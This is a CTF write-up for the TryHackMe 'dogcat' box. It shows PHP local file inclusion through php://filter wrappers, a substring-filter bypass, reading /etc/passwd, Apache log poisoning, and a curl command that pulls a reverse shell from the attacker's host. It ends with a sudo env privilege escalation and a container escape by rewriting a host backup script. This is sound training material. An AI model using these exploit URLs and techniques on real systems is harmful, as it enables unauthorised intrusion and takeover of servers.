Here’s my write-up for dogcat, a CTF challenge created by jammy.
Write-up
I deployed the box using TryHackMe’s interface and scanned the host using nmap
:
Two ports: SSH on port 22 and Apache on port 80. I took a look first at what was running on port 80.
It was a website that showed you pictures of cats and dogs. Awh how nice. The showing of dogs and cats was controlled by a query parameter in the URL:
?view=dog
?view=cat
I tried a few different words, such as bird, fish, etc. but I was returned an error message: “Sorry, only dogs or cats are allowed.”
I started messing with this parameter and managed to break something fairly quickly:
?view=dog"--
This error showed me two things: a file was being “included” in the script, and “.php” was being appended to the parameter value. I did some reading around LFI in PHP applications and managed to get a base64 encoded version of cat.php with the following query parameter:
?view=php://filter/convert.base64-encode/resource=cat
I did the same for “dog”, and I now had the source code for cat.php and dog.php:
(base64) PGltZyBzcmM9ImNhdHMvPD9waHAgZWNobyByYW5kKDEsIDEwKTsgPz4uanBnIiAvPg0K
<img src="cats/<?php echo rand(1, 10); ?>.jpg" />
(base64) PGltZyBzcmM9ImRvZ3MvPD9waHAgZWNobyByYW5kKDEsIDEwKTsgPz4uanBnIiAvPg0K
<img src="dogs/<?php echo rand(1, 10); ?>.jpg" />
I then tried “index” to see if I could get the contents of index.php but no luck, the filter was getting in the way. Something was checking that the view
query parameter value had “cat” or “dog” in it. I messed around with this for quite a while, before coming up with a solution.
I remembered that you could chain PHP wrappers:
What would happen if I added “cat”? Would it just be ignored because it’s not a valid filter?
?view=php://filter/convert.base64-encode|cat/resource=index
It worked! I now had the source code for index.php
<!DOCTYPE HTML>
<html>
<head>
<title>dogcat</title>
<link rel="stylesheet" type="text/css" href="/style.css">
</head>
<body>
<h1>dogcat</h1>
<i>a gallery of various dogs or cats</i>
<div>
<h2>What would you like to see?</h2>
<a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
<?php
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(isset($_GET['view'])) {
if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
echo 'Here you go!';
include $_GET['view'] . $ext;
} else {
echo 'Sorry, only dogs or cats are allowed.';
}
}
?>
</div>
</body>
</html>
The source code of index.php exposed another parameter: “ext”. Sending this parameter through with the request but leaving it blank stopped the “.php” bit from being added. Now I had a way to look at any file I wanted, given the user had permissions of course.
http://10.10.172.246/?view=php://filter/convert.base64-encode|cat/resource=/etc/passwd&ext=
root❌0:0:root:/root:/bin/bash
daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin❌2:2:bin:/bin:/usr/sbin/nologin
sys❌3:3:sys:/dev:/usr/sbin/nologin
sync❌4:65534:sync:/bin:/bin/sync
games❌5:60:games:/usr/games:/usr/sbin/nologin
man❌6:12:man:/var/cache/man:/usr/sbin/nologin
lp❌7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail❌8:8:mail:/var/mail:/usr/sbin/nologin
news❌9:9:news:/var/spool/news:/usr/sbin/nologin
uucp❌10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy❌13:13:proxy:/bin:/usr/sbin/nologin
www-data❌33:33:www-data:/var/www:/usr/sbin/nologin
backup❌34:34:backup:/var/backups:/usr/sbin/nologin
list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc❌39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody❌65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt❌100:65534::/nonexistent:/usr/sbin/nologin
Now I had to go about getting a shell set up. I did a bit more research and came across a log poisoning technique, where you inject some malicious PHP code into the logs, then load the log file using the LFI exploit, thus executing your code. First I checked that I could access the log file.
I could see all the requests I had made previously, so this looked like it was going to work. I loaded up netcat and sent a simple shell script to the server.
I loaded up the log file using the LFI exploit, and I could see my commands being executed and displayed in the response.
The next thing to do was to try and get a reverse shell onto the box. I tried to run a few basic reverse shell commands, but they weren’t working. This box didn’t have a lot installed on it, but it did have curl.
I hosted a reverse shell on my machine, on port 4000, and used my basic command shell to download it and save it as “shell.php” on the box.
?view=php://filter/convert.base64-encode|convert.base64-decode|cat/resource=/var/log/apache2/access.log&ext=&cmd=curl+http%3a//10.11.23.23%3a4000/shell.php+--output+shell.php
I set up netcat, hit shell.php with Burp, and I had access.
The next thing to do was to escalate my access. This wasn’t too tricky. I ran sudo -l
and could see that www-data could run /usr/bin/env
as root without a password, which gave me access to a root shell.
I looked around a bit, and saw some signs that I was in a container. ps -aux
was returning limited results, and the root directory had a .dockerenv
file.
I looked around a little more and came across a backup file and backup script in the opt
directory. This script looked like it was running from the host machine. The root user on the container had write privileges to this script, so I rewrote the script to be a reverse shell and set up a listener using netcat on my machine.
After about a minute or two, whatever was running the backup script executed the script, and I had a shell on the host. This is where the final flag was located.
>> Home